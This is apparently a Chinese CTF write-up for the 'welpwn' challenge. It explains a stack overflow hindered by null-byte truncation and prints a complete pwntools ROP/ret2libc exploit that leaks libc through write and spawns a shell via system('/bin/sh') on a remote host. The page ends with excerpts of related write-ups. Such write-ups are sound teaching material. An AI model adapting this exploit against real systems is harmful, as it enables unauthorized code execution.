個人部落格位址
函式**也比較簡單。read那裡也不存溢位。都是0x400。
緊接著呼叫了echo
函式。
在echo函式中,將大小為0x400的buf中的值複製給大小為0x10的s2,。很明顯會造成溢位。唯一的問題就是,如果buf中含有\x00。會中斷迴圈。
函式執行的整體流程就是,使用者輸入的字串會存放到buf中,在echo函式中,將buf複製到s2時造成了溢位。通過迴圈逐字節複製,如果讀取到00位元組,則會中斷迴圈。
這會影響我們的rop構造,因為我們尋找的gadgat都會存在00位元組
這是64位的程式,傳參基本都在暫存器裡。所以棧結構大致如下。
因為00截斷的原因,所以我們不能直接rop,我們將rop鏈移到buf中,pop_4_ret的作用就是pop掉buf中的"a"*0x10+"bbbbbbbb"+pop_4_ret
。然後再buf中進行rop。
p64(pop_4_ret)
中是含有00的,如下圖,紅框中的就是p64(pop_4_ret)
。所以s2實際上是27個位元組。
明白這點後,後面就是普通的洩露函式實際位址,找libc基址,構造rop了。
from pwn import *
from libcsearcher import *
context.log_level="debug"
# p = process("./welpwn")
p = remote("220.249.52.133",55728)
elf = elf("welpwn")
start = elf.symbols['_start']
write_got = elf.got['write']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004008a3
pop_4_ret = 0x000000000040089c
p.recvuntil("rctf\n")
payload = ""
payload += "a"*0x10
payload += "bbbbbbbb"
payload += p64(pop_4_ret)
payload += p64(pop_rdi)
payload += p64(write_got)
payload += p64(puts_plt)
payload += p64(start)
p.sendline(payload)
print "----"+p.recv(1024)
print "----"+p.recv(27)
write = u64(p.recv(6).ljust(8,'\x00'))
log.success("write = "+hex(write))
obj = libcsearcher("write", write)
write_offset = obj.dump("write")
system_offset = obj.dump("system") #system offset
sh_offset = obj.dump("str_bin_sh") #/bin/sh offset
libc_base = write - write_offset
log.success("libc_base = "+hex(libc_base))
# p.recvuntil("rctf\n")
payload = ""
payload += "a"*0x10
payload += "bbbbbbbb"
payload += p64(pop_4_ret)
payload += p64(pop_rdi)
payload += p64(libc_base + sh_offset)
payload += p64(libc_base + system_offset)
p.sendline(payload)
p.interactive()
歡迎一起學習交流,共同進步,歡迎加入資訊保安小白群 攻防世界PWN題解答
通過ida開啟程式,f5鍵生成c的 如下 int cdecl main int argc,const char ar const char envp ssize t vulnerable function 很明顯,vulnerable function的read函式有注入點,可以複寫vulnerab...
攻防世界 pwn 100
如上圖,這道題很簡單粗暴,直接暴露溢位點,但是需要注意的是,每次輸入讀200!這點下面會有坑。思路 利用rop洩露出read的位址,利用libsearch獲得system和 bin sh的位址。這些都是常規流程。但是,有一點要注意,在傳送payload的時候,一定不能使用sendline或者send...
攻防世界 pwn1 wp
先看保護 除了pie全開了。開啟ida分析 因為有canary保護所以要想辦法洩露canary,回頭看那個棧溢位漏洞,發現可以利用先傳送0x88個a過去 後面會自動給你爆出canary,有了canary之後,就簡單了,所以思路就是 先利用棧溢位漏洞獲取canary,再利用拼接的方法將前面的填充補全之...